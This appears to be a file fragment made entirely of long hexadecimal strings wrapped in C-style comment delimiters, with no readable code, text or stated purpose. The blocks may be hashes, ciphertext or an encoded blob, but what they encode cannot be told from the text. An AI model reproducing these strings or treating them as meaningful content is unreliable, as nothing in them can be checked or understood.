cf13543f3d02c43dbbad97303620bff24f68789afece048b10664a0901853483a70b970766fa807e438ed1d37ca06de557d196b7dfd81842003cb29ec42a9c53896e69d6339801aaf63542037a6cab3c3d76e8eb8cf7986f6080d466c7ee87883bda39d369b66cfee872e09bb4bf9940108de60f004bb8fd27fc8ddfa30c64c3a302bfb1f56dbc739f84f7a123a286095540c9f4c07c2f048e54c50ed96f4fe5b4c1384427d4ab2fe74fa7cf7238c3dc098d8bf62a95f3f15171a73015306f4039634b24f8368a32180e842c14280f4219d3f40722d9d9ae731546c828915d9b5ea49300c99bee8fea611a6e3e4b5e35bba4f17f8f99e3d2fb5f27f84a01b088cd50aadf4f0064dd8e20547c45682520cac53ff1810a1a786eb2f51a92e6bbbd03c3e4cead40f89272b646b8b7df39061b241b20b2c2bf046e660d9cb02ee9ad8ccbd4aac7338a147566d4d6ab5bc60d4214550f417c3dd9764c384137ffb75ba95ed6e117c99b5f8bacdabbb1d22b81460b99f10ca41c7ea2a6ffcc92ca2029395f5462b0905916be5291431b955227e4ad866cc4beea0940e1ed6b419035645bb6d0e85f921d98f81e78ce4f8e2b1f9a0c670fd5a5f75116f2e793fc30b785861d83198208ecb41f17e36128f46c799736649621c7ed8bfc715a77b2e6e6f8f465039961e9b65ce2e451ba63242c833add42ca6ef72dcbe63c87c2f64e351f6fe4984f9c47ccef3882c6786*/
/*cd2339462445ee04ef7813d63e2336aaa37abdcfe20ca19937d04b5a435d32bf15a390d664a721c3c12ebb01b9522f2a39a0a0dbe517af95c87792a00dc80a4343e3174ac07601c1358c88f3f3d586a3597b56f39f6b78db92d6c1c8f14083de94ebe53d0d146308dd2389a1865d3536826485df6855c4c419c43d3793fe2a28561c6b01bc6ac58bc2ddbdc2202b337a5ee632bcf2419364011577635f2eebd02882e3bb3886451f02ffa9368018c387e4766dcec192ddc813c9fc5f2ee9a1b9f54014f4c1bd98c9192ce82137b48a45bbc4d4e9d7ffc3eb013fef5aaa51534b21ef962554957561e0a570d96b518f277736ae711f49bd7df0df06dd179d77e3e78fa55f6a7f93a7af2a65f5097b9e600144758143d9d59956ffd4c87a30630b0d31cd035c2f5e86c16fe4e3a978f61c851c65d6fc9531bc06f78ad3e067d0b824eb6ec892c884392f22769898990bff70c213a5611e248ef1b2075e32a96cec8d615e3d51c5161434fa061f9ed4cdcd00a4c75fd84b0b2ab4bdc24071e16212f687cdd4484522f3e7b9f69f467d147d8ea05e172b509c72f549f91539165caf22c142f9685ac3255755dee32dd00584bed456145b6d336a88550b83e80a5efeba9dc2d4c0b9d418878ac944cd034fe7dafd3e7c035aaccd089d33e9ce0b879f208cabfd1b9b6989becac9a3736f66072c1c5470f18b6af6e3ef29142f4eaccaa2379fcab13cc4fe00a02496e59cfd7ae84c9ac85530722a4653b72579c943fbad75782a7f0f0ea8d54ac16f1f9d093764b64bde5819b280976124dc6ea81f7a572c668871b42cc53630fa993344981cf4d0cc8f61102fa5a9ae3ac0a5e2b1727182f436b60f31b5f0de98cdc8a7f94fd6f42c20a2c33096b2f98f1aceac81f025f4f1b3387620f010da171a583a788f2952bc81582c1540714996b668902273ea9138961ee949f618852ec5aea08eb179a445d56ef67b7ac1b14ab693f12a8ccb7aa3de89c9054139a3166fde30bfcd99a4dd1975b821a268683b77bc163cf60e000823c88b3c189dc45ad9ef556936c7d1ee0e0da3043a634959d716d39f84945d0ea5789764fc9acb6ba23c9b60c5037c3e511f9f654e43bd29338b95426a4d37acac46fc1cc7468f90153a653de0b2e3b77645a5131f7e15417b3b60b1bc5e1d2e8e7e9b9ed573f3d74122205267281cbe9ca7542db4da47ef7b8a0794701e564083548050c07712c034d20748eaf31e8f008cbe11fc5dfa0eeda81ce88ede29b6ca5e4c45ec1248c69a6b0a444f610375b3ebab477d0a96111f0909cf58a47ef10eaa214272b5b7d59f6892cfc5e22856cb5d70fc7b5596ec11eb9595e8d2e305c2b5ce16b5a1b4d25bcf69d5991a899b15f2a8a33de70d588416bd45b6466754a5ff91b003569bfb791ebf3b6415e5eafe1f234c984035f626ff192588ef29a16af74ed430a81ad660089b63e2fb8c40f0179700203e8ebe6798eacd0786252dfe394e59c9499e3a4b8998ad7faab46e6d378e9ce75b0dfcdff04d278a194ee5598144de3049a5e00601133e9439f705ee065afbd0b815dd87b295a9deaedcd9d0bc74431f91aaadda9147a9a4533b590ac2105cd351c14db0c826f5dcf289c22472de7812e2ff7422570e32953c7aa6f65fa28aa86b71b37d0f60617a3e96829381d06dfe7b32c3e3f31f41301cd3211f9690defb0876b158301a9fbb8291640c798dc01e6b1f1f7ae09278bb6c83d31b52a45853737d9f890c441f320a3a7d2f9d605fcb8a7087f77bee4af345ef6a310431391278d01333527668ea2af974231599c8e2fec6a124f1db248cfb72ce8f404e242392cafdec64ce98600b3dd8bed0b379233b344612d05e0170a18ec3f3a0610024f06c855e7bd2d27f6d989f5ad265a3faf8d45f150802515cc1c313ead5eb56af4dd0a6529b25818333f1ec44358a3e78f86dd0f43dc7dc3af479ffe1a8c446f4d2166295fb855738bad137e384803513e1eb4d132b050d76ff5c7a95d04106e68a000e46f70fc90484ed6a24c91890d0245147790428109501976fd2590d59acc748caab5d547a9c18d01209b7cdc399a297cf0459838f52ae04c648ed81bcf7ba49259867f56d65849923700cd68124a0206234fdc3b4f768cf0abb03ba31acf98a688e7981df17aec07e179db4ce5c92ab6e8e10a662b93c7638b90770bbfb5baedd37c3b877496992b9ec1e7a421cd3d3f6563ec86e06dceee7aafcd275ef043608795a17951d9ada96b4a3c902a3d6b869839b25be669cc9dcd2d67ff5f74c3ce2854de584aed4f0cc4146d4ae5ab927293e37af8f0927520a3824bf6644ccf7ac8e7a76a4ab264d235a6b762bad02678c253cad01967eac09d9c3fe3b2b294dd4f56cdb2705887f50746d1f72557a89084c0c641188b8520e09caf39279beeb7d71e02e064e9fa6e26fd081964b9d07fdc3908f9b2bb345735a47fff90802f3367095ac4a1dde63a8927d41d44f073aab52263a66c9c9d237cba4dbbed08e21562a71167d21831521719e1d87c54223f842c8ce4458709f1e600b760226afa0d8ed654628f8652992e81406161347754c1c4d916c0af803970f44a3c6a3f75c1c949f799629bd4ec5d7af5fb61c6e7e463be5cb94db56d978c67d782be4647b832e30950223f4bd431e36d597747139813d34831182e74e6811f36f37041369892a5c45e20c4c2502713e95878e84e2f488543cfb026f9d15ddfa4fc28dbf2f1419e0607aa6ef323830e61662b8e0598dda7652552d900ddbdf77f857a2b655a531c88e78b458db1369dc7254c1d27adb5383bdbe7a*/
/*24720ca8c5db4633c81d50d87c73d4b24aa932e98502ea2f2f307e06b205ad110c99c9bdf679b7583dca6c59465f001d6cd532c4fd8b11e6c79e7539e4f9155611b77642c04ada55dad1b6a2467261863caa2e31df6426a84d4af14a57c62c32c36f28eb4f2320242e6c727e6f5817c059a1fe5b9547434d95b10cb49006a25d7ce1cbfc79a7645b6f70bfa88577bf8535cc8a1c2333edfdd2581411c554a3b4ff3ce1b1a413ca98b4e8c153ba323bf810a9101202b0a09c052249236ad9b2781160eeffacedb42ca03a528bf2bf5c8f7a2fc7c59c01148c3caec0413716d45c31c11f2a123ffa67f759e25cd348c18952c5b9fb1485c4fdf462b92a78304695fc0016bbf583bcd4c17c92bc3c194c20d7f6e8b43dab6788c5cd55b7a2604f6ee4359d20899c8e6dad1cb5f6e424ed1d91870b7721cee34f76d9d075ea935da23cb44b88c46ecde2f04e52fcb86095e1812f999c0a7741407faf9b07561ed1c2f3fad316eed29579c335374c58c9e58e83bf39d66be9c6a2e20b9d63ed573c0f085958d35f5ce8edd2c64297cb3695484f8847a6d29215e191ae9c7a1a46fa80d5c0e7399d3a76d2f8ee178f03488bf93dab478cf542b6c3ce635c0a580afd753eedf7c0aa2e4b4f3bcc5705759487b91005f98bd400302466ae077c91d4d348bd1c87a9c29e36ef8deaf05a60ed6a21c8926f2799b865efba90b8f7227b8b1dba28db77b44eae663886b92e1dd1fbdd8b9a816cad4e21d2dda034a6b524a2c5fc70ce914bb72e6e7039ec2d3e27a8556833f121f0992fe3e81213bccb2d224516404539ed13cb3d382bf372c1565f19262999b53d28575b5f105ac4110d49197d8c546b845db45f142ebe2ff55afaf6f1ccdcd7e9e01223b19f597a0eb71f54cad3c2bb94dc86e508e0f4b5dad156e0a47492fb62cd587fd820151f0687c4a72567ff758201b3ba7090c3e696bdcd63b91f6ae05a7c81d813fe09cab96d62a3b878b85e81331282ef4b9ce03c8ed491e35619dd4f22a30298742e4f078004d0a829a7a0139561a5c6f036743544d4409620bc55079a09e66b69159f799e232d0b70c401c011d7b7ea904160225adfdb9fd958f5f9cfb3cccfcf2f76ac9136aece5109efccb2277011652c9e43cf2933e320ce4c9fb2b5116bede4b07b4082623f5118d121fed855607b7b5c5e169826e7a7135681891f929508b433f8d7fa27daf223b3a1ffd7073aa491964856bc72a22c929b24c10150e87e70b211139d930fd39e158ea02fb0fa4dfd682c32c2fc438d3e3d1d0c7048dcf6de194c4a78a5eae6efdd2a0c31cc3368ea83c89d4b6d1e0653e3ea9aeef6a22dd9d44a6c96f5ab2d3db5bdcb813a18b4da6f9f243eb7b0b4a91bda26b7237f52ddfa09c62c7eda5df695e4e0f2a4635c22686b36dafb971dee67f7574fc73e19e5edc1d56469e50b734afd89d21bf174e800da7ad7653a6549cf89a0bd2b19e36989c6f4c57e37dc1293194172f2051b986d67114f21ea8a7b523344bdad268ae1abec45b0b5a27e1d0efbd1f93413eb06ac285f72bf0465fef44c8b476de7ff0c6287b2d73b611c528a99305a35457766092aeaaf8033f5c8217718108ef1519f527ab2aa2350c44d0505595bf732ad76b1ffbcb7de1258952e69b3e83b8cb5af8a4cca16cae9c8b7feabd36b64f6cb2fd1964a5f1bf1c1b1fe4b97cf90efe3f52e466b00c6c8e0a91df059d3403ffa70149c46fcf86a2de55ce6718f1c66f1611a3e5d2deed406101e0cea875152b26c0ca0aef7e23090eb09f1ea91c839a9c9a5379960ebd1a52227554c0c7c25eab28ad47d0479d38402b08351e0bad964cf45cf8de141c2269391c91421cbd287b28ddccadeb84455ef0377dfdc3a51329db2d39468b3ff62aaf6b5bc11ebe78e38b95e2fce545bf675a470355318634e85456847d083de182de4113a375e1c5c86ad6762785ea404d1a3bce41a039392dc7fdb55b2d5c901d41af02a82b36c991eec6810ac7d7dfb7977b19ad37073e490ef01cb66d91b93376e7019a2a342c76aaf8466b5a1235ea72534568d323f9aafd8768c4d323025ab0152a06f4ad500dea46b515d4ea546110bd308c8ef2669d6fb1efc62ca74d2c11a815803ba35d471bd548f7fdc3e8b004f09e6a18a9ed82d756e56f6d5d6125dc3771f130c843e825d2b23c9aeab4f50e1d36e40073f65e302053fff079f77b5d9369615b2d008712760fc6f20d86dd3ea4830e5267bb8fd3f19fa45b4fa040f72f8a8bddfbdadd5e464b47dc9632379a5d61f28784a2b213b02f38c31c2ecac5f0fe191fc059fbdf927bc08402893f787a09e66a7e33a3c31a9d47d270bda330dd2c2004c5ff2dc6c0e19da2aa250408de957bfddd034296289a3e40be390a0a8772ac656cb4f0dd012dc08a1d7a3fb9030f883d149360f7bb052308fe747e95d2db7f788ff1d4d6796c459dda53a8ebbace4fb3f5bc80b92d5f990053486167bfe7a14a3616b5526b6bc759a52626805e27cf3c87aa82bee4fe73e837e609e337c95d539d984b3ff635b40f1f2a5ea2c5150c4727b7980943aceda2c89b12546152b043c941a188cbe8b146d48e976dde5b3539134b905e80491151f2e3c86d0e67776aab4b7ef1b0f034fba56ebb10087896cd924325110c897115374c632c59e88a46717a5406bdaffbb9dfb5c93323197adda7726e794460a1556e86fc341b154d37efb0b7406eb6801dfc8c3c8e4fa4d66b686589742ad45cc254676ff029b84b4f1d7ee84b70947ecb2eaf9f02aa58c2180b6adcdc52485f76e35ba07cf7a7fd66fc46826e514244ae5*/
/*ea9d339bd6454d02aae824cd7a3b2f81ee9644b4f964f92e6c472826531ea23e80f84cfded0c95503bd344c0cc3d74e856a32b83eaf4529e5289d51142746bac574754ffc294134f4c2aff83a5c1da2d16c4b8588f7f2398c9ead30ef0aa57a1a156916a67b3075c285728c813f4a267d9b6e257ee86115f2b3739ccf38e656704ad184d1709130a7a40983670a5d937fd1c4df92e2293656003e59818db41d7e3a374a242a3c5e343c2e75ac44cc0d934ddbb2c148f83217a162367b3e607e88b515a07362cbedc2e1cb86ef6a6e5385f48e780d4a4417adcfdb8676f260ab51d84905016de640b426c1725e3c63a31f197c3b45817e54fc9aacea7d46f8a78cfeb8ff599288bdab2cbd27b022336ff557617cec301bd84b8ed6cf2225755d6474006b09a85451f11014bf3092879689951fb4a43486e47813dd3cd598fe0419cae5a95199a96671405fa0f10d70a18fa73a3cf2c1bf6b1f44153e7cb2a02dafbb304d239c81d48e31ad8557935569403ce4f0ff85e812148034a235fb6916ca3a188d427fb3d7ccf9fda76ced0d02c2b8d00a90bd28338820c67c2a5d66bdfda14901f88004cf12636cca21a80743d7ba8b4c6b25a0d829dafbd5fac37da39dd336e99de2a0b2973042279b7fccc261c14b90772266aaf4212dfc3c6632cea7700ab422142df99f3bcd374702e7675c1105f243ec8934b622d7d54ed6bf75f5921a8ea3038ef5b3e7728c74c96cafd5b5a28281a08e4a152fef1689ebf308d68b52e0e72644edca91588dc4da648d673dc52f5696fe94ab3f4bb6fe6fc7ac163e4992d6dcc7b013b59a8eea71b335286dd7e463ba08573ca4ab871a12d21fb6175c5c5213ad83b3fadf256a40e304ff68821cbc6d12e1a40d42bbb9f6dac767ebde7c2a23e807385a7c8ec47661ca33d7dc4cd62db5a942be41a4084669ffc59e1dcecd600a2cdb5b5ebf594fcae59bc0a0535410d7ad97ec8115615a9c7a455595997e76657227e72b2fb18fe8b2121533db7267081f23ad2ad30d974f0a88a425b8c95a5c020bc47357949d198870df7487c3a66bbcc69ed969db4805fc5c90004da93ddef090b57695957f81e164b82aa8f3655a285acf779bd8913e29a50fa8e6e7ba507d4dd61ae05fe8a5f1d692cec749b4bf40222dd4275f82f4da9837293a9997b37024d60c9e620afc28d2e3f3eaa3b7dd14c30e1a334e6a29cf0ef93b043843f488ffb1447689f309948013163e04e2a8cbf694a36e4be80705a0721e033399780d08c7f37086346d4f724a600b76c1ed0cb0aa5403eb78f581c9e1b30fea5bcb57031621e57014a3350da5314e3c762f7c7be1b43a3bfe4f678bbcc9264ade83cdb16e29174334ee4ff2544e2ca7475b9b74066447ae56a79ed703a0d1d416b5f4070707e36bd1405d7b45482d88509bc2906f3d39aa0ec1d6accf400af20e2398ff400a8d145493f5e2a28b8ab358971a86ec29ab55437531c4249b8ccb047abd63f8cd4c9dafee9b9b1199568405997bf752f52173d6fe757922ec2196fcfb834e8924dbd428b67dd9648e7a86a6b7a56cbc12643f1d7f532778bed3c8c4fd67c76b5a50704119d8a65d5477057f125dd20199b301e41c68e680f71bbf47131ba3f7a7f35af7b2b923f5ceaa213291ab1e10981a2100fc9ad18442eb5fb1fa70b4ec16df408eb4f624bb507defd71927ce78f9465bd09c959829668c969a3d72cfb05c66405b53aefd6f8306d6d234e796dce938ca95bbadf452a4756afcca448a632efb4416c5424ba8ee074d7630e2aaa91984a4e7dad58be9e5201ce1c33916f78d0b1ba3efd108b910c9167feb80bdd1859eacbc5516513f68666d1fb1e1b0ce5fd1244318854cfafbd0fef138d7764728571a348010b6f1640bc466a9347d6ea4683591317003808389c63a0891e07ff155a9ae3ffa15b21361c3604f007dd74ede215bf074b4538ec048a93ae905b9089aa2f8577c34affd156fd53c20f463aee74b271af5ee9069e06e3b5ac524e77d2cf9ebeab4384e341c17374e5e7f4f0914a4823ac52224d7b5c434d917d9bdcea997985f251dc818ae2e2e2a79c34bad7493d42c4cb932eda9410fee8d77ee5f962cc094624eecd3556f43b6057d99f53c84c2b133b10c2038d6f5679ae272d893761286b679ad63d4e1cc9eb9b8bd6e44b7d8eea885b340ca5cc4f5c5e07780234e195bf59140b9fff0b4d3a40bc36c43ac156389dfe0109299490d3bfa115eb32edd1b6d0f2456d8ad68ff15175a3001740ba1b5f394a749cfdb44a7d8bcbba09c125b17e7538e9c407c43ca6678d51125c417a19674bcb2cdf43f34f7fc4a69f8d23a39f9e51b7cb9c17cbd7e513f790219a7215ad7716e168c01a39499514406f5a17ce67a3c5044de0cc9c0b52e864b256250fa30159b65a7825e3381d738fd2d04b51c11f787fe0c4724e41189b11a59485d659bd9ba684fc4b91e12af526cd1e4794ba6679af986b0051586b4c70759441d70fd696cd15a33a6b79973a7ee88c9f0706feeeca8c5d91947ffc4de243eedc1f08abc717191180a6ebf45e4e3295403cc3170a368cc57d0e929c6c08d39cb8ddc3a5d394a3b611773503fd4e8a2914a009b8156995767124d0c45612c1de2e81b6a8fb07b023573fdd14a8785ccbd31cc52e517917da402b5d85f5e47b23aef66c101d1dfe43163c9d24063d24c328a78c95e936d8f99a27ddf97aa325b24b1c6e68f66ba3207fc1ed723dffd6de76a0fa9821e09bc51d897244c9d99e639e778f7572d35133a6e8cf17af7b070d6a1b0ce780bd26b298c9060374f8b0a8f1ae*/
/*5bdae19f8073abd5fe53021404ab719c7053ddd0ab3cfb4b9206782c4781fcb03d760975cfd6d5615ae21885a740cb5bf3702e4277dd63cc243fc44730880d3031609e800210619fdb1b9fdfa3fdfc3969fd6161c9935f7d20235a366ef0f4f35a444380c3fe242d4fe0bffbce852179f48f7689f415d7e6fafbffe872bc1eaf447dfcea50c0e3a7b268eab865c3474d9f92469ae60792329e6f95610ffebdb713b9f3531d7615b0a003f483c757c01a0b587d425dfe1f412f891e2182ffc8ea2e11162fc2dfe86d678f217a4fad7c6949810da69675703c7ca65fd4b8b905cfb5dfb1d94c5e229f17f8056637897a61921eb2579fce69740968dc2b0748de575ebe7c81e3a01d7c5885f51f6094121bd5e08765430f6ddabffd705862d1081b6f77b57b69d2d71287459ab95e96b6cd3cc588cd786f026222e7b27a0b0e5551c79bcc54a7c9f82e5118ca3627d6d5cf9e13e481ac0cf1fd6b2eb7e0468fd0a231f583696d045a07ae69f82b767448dda3759e380174ed0645e80d0015fca71cf59e94c28ccbd2bb53e29eea3b8e22fa9d4e7e43f0fb60ef27943928fa7aeb5184c8c946c963562a5138ce78edc61394eed8f0fff941d5033dadd32cff14fad6d4b4b248fc0c51c14c8cd42c971b1f41b582d65162f1695f2ad551eeb9182a89e94f07a641c9c341e4e091157cb43ff2b0d4eddcf1f3893dcd43c79eb4c916bf621a4ae4b06220b16a7ded4dc959bed7bd59703201ccd8e6fbe4d6a00faea55e6bd8a08923b1099fb2ed0ffaa2146b245e120e9eb28a9cf59e2f144252d2c90dccb1ca533ce6f53ae7badf2bd72bcb183c65a798e3e6845b7c605c351787041bff53f6bccda1954a18d63eb1b85d4a0234ee73c26d019430b82764d29afea30fe8dd1328cb431f9785bb4cf43e3224f826ae74980a12a9ef9a52891a268378bf92a7cbc739ba06b750f2f32b4ea7357bf96b3230042934fe80c11aa7199e35bb673bbc458cc4f2773c4b78d4a628c3a36e13daf39972fabbddc2c4a7c56f0722941ce43875aa30aa3c4511243f021c371d5b05a6baeac5076f9a8644a1a1ee642e7eb0b93bdc4a697c2f89f0af70215654114de2c397110262d9b9ca4687d636634a23adcedf01b1be940707506542915ab8e42a3db735563263068cca84cffb19ded6a0fd3ab4c619d87072b059adbee66df756a497575399a1740eaf5f8dee253a016da2d8830c9c2bddf72dd9ee6de953a14d96b23822092613f9bfee2583f7a9871fa8b99b9cace4325eb8516648bd6b81e9180b1b0f5424f465da8f5c4d0d2b0b4d182b9343fc29de7ca51310ef53df5e159be3c5e3c4ab6b8fb9682f5d55fe1bbf4a92b087216a2d2a18fa3e3e743e9d20ea06f480f7c17856f596ca2b372869aa1eaa6cf12a9e8de67bfbedd1a0ff75a263e82f66fc2ce4a8621e7ff91c7208c811833aa27a4de7055860671fbdbcb93cf5a28f13805e12293c36cd16faad50e80998363fa8ac8879aeb1e32e1b1a30e0a8e997e8cb081aba8be5278dc6dd5cf31daa89170bf423bb30f52ffe574bfa0a4c396fe1a2b5b3a4d81766c304eae6e56c76f0b1d387ffcac8f8cfb9770d8f2379f41a4dd4481da7b3e8c429f17b3c47ffeb6e79714cb5f6057bac6a02f2efbf1519ebb32e6ca19cb7cfdcd0662aecc3f8bf9159cf74dd5e44321fd82ab4e9962ce099027db3b4ea9f4a432bd553efb1696e6780262a30bbdbd33b2bfc7523256ad215302934e16c935d598600fa1c9346a887e25f67a1efe7521c57ad96ddea246769742a4e932c35973fca0a880cc7a4f13c83e109ef597447d0ba14a182f29c66eee8531965b8b89326a5e005eb04feb966dddb0737f9e05a735eec6c27a0992ec395eaaaa6f7b74b2eda011ebdb81b51d6d4339ab457cc895e1e8d22d3196e140b0f974a879953d0a4180c7bf8c6485c7d3c979041343bb83482e727c6be427c686304c1c6c0924450897719dd1f86ed1502cd3c3e227247aa0b69ba61f8ba07506ad7c59c8af02233a587636d7f0be25447a4eb83572aef8277545ebce9754f027c82879a6e0ac9c173e446e05b3d51151b127289a1728d1d9ca2a9577a7aee2e5d5c33287d40c5577ebc3667bb251760ad60be84ef4ba7d189b3e1d815162250757944aab9a3b29fdd8180df2175f20f214c05cdbfe5b178e6986ef8aa5f06071478726e8d471e59cd33bd1126dc09a17341c76765ec227ba2185e635c70eec08e51c59cff7f8074d6fd82fd9ff18bb9d555dd5ae02048ca23837a9be4435822cd2495bc65b34c59d2d77742ea30d65887fb888e9c3710f73055a9a86ae56c6906b480791463fea1fa5106e04510b516c0b1e2e5523ec6fa9dc1acb985b674faf2d0edf7f5d4d00880bdd7347d319069bd3bf744acb0ea3c8bf9df8b88704f283ffc6654816a803cf9b453a306f23740a01078b15233d53246417348923671269f6fe2b2ae1fa63d64e80ab0446e4ab02739bdfdf9615fd2b6c53179f7f1503847040e4130955675c01d8a2aa6927cef1b524fa6fcb4c3c345b5149e0b76a70ea1179dad6e7d2293fa33f83824e0f7b3290c9d92419a0cec012262c77f66729e3db23a5ec1157e04e2b02c59ff470b04568ad4430aa3ebee86e4ecae93cc67e8fd893051812cc6195336475a06e3dd56f08fe6eb65d2baeba32401e27021cb3b06123a25af100276f4d0e305c7a2b17f1bf3667f83de2feff3e12932aaa687810356827c366dabbf51c769c67eab2d272ec7f817822c348f6d7b705946312025fcda68119b850a87ced80befa5bdc829183c6e88c84239b670*/
/*25996fcc7fb78fb640abd49498b8b0bbbb65b4be8332651754a15417286d06690963465235362c7ffe2fc3470acaf8817fbece521c653e5a2ade2af849b379ef0d8ff6afd7b81e7abaf2d3cf5eae3d7eb7c23cbd5d314e9838193e836164e948ff08830c5d567522e746beaa249153c40006c772b76fcd213d7c4a0d5407993813d19f2eff5dac1cf207ee02fcb7feadfb7ac05fdb329d828cdebf22b584ce65262827dd9605493c661b48282070a166d18aa3c6fc1c0dfce3addf8efaf1bcd2388f17e6859783b94a2b601dc614360f89e4163091ee1fb9e2d682790f8c42312766a95e9e460c83e26684f885b4e37389c5b10c3d05862578770487402ee26e2094b2174403f561848c17dcd8a9b09c5ea83f390d6c5aa1d52a57aaa6b9c7060dc4d5d36a9e39ba9a9a55ea26bf1901365c802f47c75c9f97de71f4acbd75178355ae8e13b26f964f9600cac6720aba710d8564bf40e34b7f27afa82a52f710134a82bc7018069f6f212cbed6c52ee9f94d9e6aa52591804f648e43ff5f2b9219572bf9354d4792a5e37528b75dff1afff7c03a6783dc6015a32dc1c13692da06c67a0e8a8ee99e61335b90df9395ca967c6067025a99dde7c3d6bc8356d3586893ebc6447fd7624f898d3bc09398920d622c0118faf703b28389fe3b04af265f4cef4f904a440ab64b960d139dcb34e7f40ca7a6f1bfb96a194ad72916ee2e8b31dd84488d2edeb1ffb86607f1be0b7f44a7c970034409c2308bb3c79e3b2fe84355089812f0f7825e9cc5bea06878695576b496a41618fbe291486dd8b3899246e34a391b98362afb59155c21ebf78eec1445a6e637e9c5ea51ccc6b4d3539f46218b02b7b489749d8f7ce67b8de83b53949617067135d07577771324ea7116b82fb141bba496a6b2ec95ceeaccf1d11f7f88c59df65c8e3c014589001d423742a7097873ed15e299d2ab1f41821731055a5e673f85f438b5987209abbf13730d70fe417f8c895061880c32ea52798371e3557482008a7ea69396f9a8d0ba955b7d6e952779216c5c0fb4de9b3bb6d6dc2186d366900d5157ec1b27cabb56bf5c56dbafb4a55bf55f8355ad4670dcc38efd7174547c295e3889a582f3069bc32f35eb7c87f7b29b120e74085e7c4e9c9b7c2b0e5ee33d8e48c8b70c2b513c28fc8a1a07044b99ec02f65097a4859575d7735db5e06a116f4a41c3d9c50893fb6c25a6a3a0df1335bfc876c0a34343c43d167a995d071bdfec4632181183aee51b5d52aa09b4570054c1850c6b1362e523f3f231a42d7330562c369a29bd29dd1db4b0a45d4900019e0bf6a70681aa5bf5559020bba96c5a7a60a49ca2c0e78e01d9739849f330107f74d2e4b539501a4317fddebbabd417d5e6d54d0c0fcf3b9ced4a84358e524e610c58f24510c55f5e10892084417a57fe542aa24b8d1a38c470bf6e060a6dd38591661f2afce1816d7d96c0b4303428db139a2d05e9526e784171ee25880d975307b788e511bbc5bc0d9af1dddbfe7343cb7a35a0087dd88a8baf5636ec7e3f56c8d1a4c8c725bdab99387d332d793cacd336562e1aaacfa8a5d28eb0e8caf470cb030e78b9d157b2dbc90c66fd728a0ea284c31ae43c186a2ae915bdeb6a458df9d9b3050e0b44e28edf293213a7b14866f3e79be7bf26fb32206fde0797b0596404f34d9e7a7a760f9e069579a6f72e3806c173fe73cebe8774701eded462dac3724e08815b865f1ea013c337d811ac1a715581dd942f450fd1bd1862e433ddfa41ed6cd4f84c504fd684c42d329279ea815308ba10bc13c334540cc63998b6dd5befd177dcf0420c6af30724968d4ee240dfbf7a89c510d4e854a5a934b8c70473dc8f785aa3be9052f62facb18cd63efd4d52ba4d05401d4efa883a59cac36a00db8bd3ccded52ea05a6b2376a60bb06f7e498af06e237755d49a5e482802f983841316169711743e8dc45e5e3e3e83a684841fd4019dd21ebe587adec7c9dcfd6fece9199619239fdc1d5933ab7b18b887f3ec5644c6ef316bcf763cfbb31228b136d8733ce4fc0103e19c8bb8442066625fcada3d9810fc862069be3c82c7a864a910db76cf9d28097e6af4a20f59168613d05db61ec324fc3fd5ceb4f27c46d356089be7543ea9824258b528a46ad6aa1d23ffe362559965574e0c16487a90be93cfe4aeb4c33e8c8743a9ab63df81109c50d279bfda1068b2d97cd15f358410dbac77bc7569de260cec711822a4d655a11853bb755ad664a48ad64edfb8d61192a21156c1ccef2213be2ceddd9da472613b6834dd879e069cce66c2ea92764ea74a45135bdb469e9e3aaf3ad51ac92fb1c548955913bb964e9a589b133c80eca21f86ccb3a91d92797e6b95f7d3f479892ec6eac40c5c71f31f5cbd7a6fac21143474f3eb3d36878ea563d722ce4cffeda08b4eeb0a9edd0157360d3f14dc3ed60386699f2976d873ab67d46f517c04729e9003d5f20d257b00e5292727ab50f32a26c16fc8401e03a952fc76f731c8ecf858fe0ec8b8fe864754be3006ad909e2d404fd1450f664d64f9eb2e6217b3df9af89ee4b6a5de2b3f6abcc28de887e6999f3a614d8b5a095afce66124c6d3ae65b58ac35d6b73b794b6b00c91fc11782b3333f551715721c5d9493ace6c9f7d59ab7df7218cf4e52691c71b0af8359395c192e9147c1366f37d828751ebc5d4265800c2ad1834c46dfb99c5d907bcb062e69e84d5b7be461484c41a007f97c95332e3e515b13fb264622dc5553af982bba349621b56f269d0c19f8d1765f5904e412a36633ad585c23227c4cab972fed5c1*/
/*ddc179e4ccf6511f5b51aaeb216de4d9d3dfa9a3b5061253eb8f2318a9098e7dc0b4b4bb960f46f80af51f9635e248b6a79fedd7d0fd77ee9b949d8667703d286551da9ff53b75ce9a841014e8a9819dca18b5426fd17ef6c2772fdfe849c56689a41c23bd1188ce33b077aaa83a211400c83ae3a81819acdb9f3d1c386a32cbcd755d38f31d7f24f6caa7509a1350c66a43f86d304b219b2712f0e15f41c76a2f8195c26a27f2dbd3535c6e6ffc2556046d5838a786edf48e492008cc7c332229e7659012a062f01722f1e09df79544ff170374e3173d7ec1b5953aa16ae7724cdaf9cbc6952bc4a0f60fbc1b8d647e4bc6d45763afa85bcc26ea56ce633e8eb324362eadc0b916536771366381860b0c02c153149194870447ed7b538450d9bb340eff5ee2abd66c816b0bd141247605c944eff2d98ad7189b03db5b1c05fd98b444cb0c881fed74d2d824122332270c9b1b3dbb82bfe619f9477404d5ea00e9cbd3f045c817c1c25bdd71d939b0e52e684cbcf1d32b8abd38a8e55a4f3615ff7494af5aa49298940219f2a303842f148f59c501e487b912b54a0fd53ccf35bb059b888b85c78ffafb2514ed77d0b56616185bd50e5560eb2cb0e563bcab6e7dc48c1cb8ad2ad99d0fb16e4ef1c6bbe1ad39e36d9d2d3badac0efcef8593ae6412728cb2562942c622e30cbc1e6f61430130b11be4acc523806b2dc2b8d40a62b1aae3a9422557c06d42aa4431dd81cdceb04a291383411fa3b5427b55079b97a1a2509412b8e40b1fc4b512ae26ece3d7b234ee3bcf690ee221bb344914ecd122b7583454fae63d14162c799518afcc27b6f224b30f319437c8f876af6810a3c9a053989101c078dc307aebd29377a573c4a4d3cebf2b57000303679c06b2002b3bbb588988b5a03414c86da75184ee33fddc645a30e3e7ee589465634b2e60683fc9eb3127be87170dc5972fa44e93cdf8f751dbbb307ef287200d591f2e230d1f0c081238d6da07209b73f2caa6591db2ca6132c37441a29b5224163211f7f91c2c9558231cb5f8293ab1d8b42f810b80444b1d1bd77f69a661135ac9ec3e9f7e63398d5f9b6d5f65cd310146d518ef2c19c759fe0f704e5f0fa4a15277095971155d401534cfd1cf544d59248d374f3c401e0af992a6df5c73abca735a8c22af8de65a5811585a346f6f926063c600cd11e650c3b9989bf16d169087398b3c7d81772a4dcadb85a460579c8a54a9bca24387ea6a3b2f6b6e12dc007b9e11e9abebcf797095413b87c6ee8bd2a974519bf25b018851ce036353e4ac5ff27e02f490c6d342515fcdff30bd3c111fd03c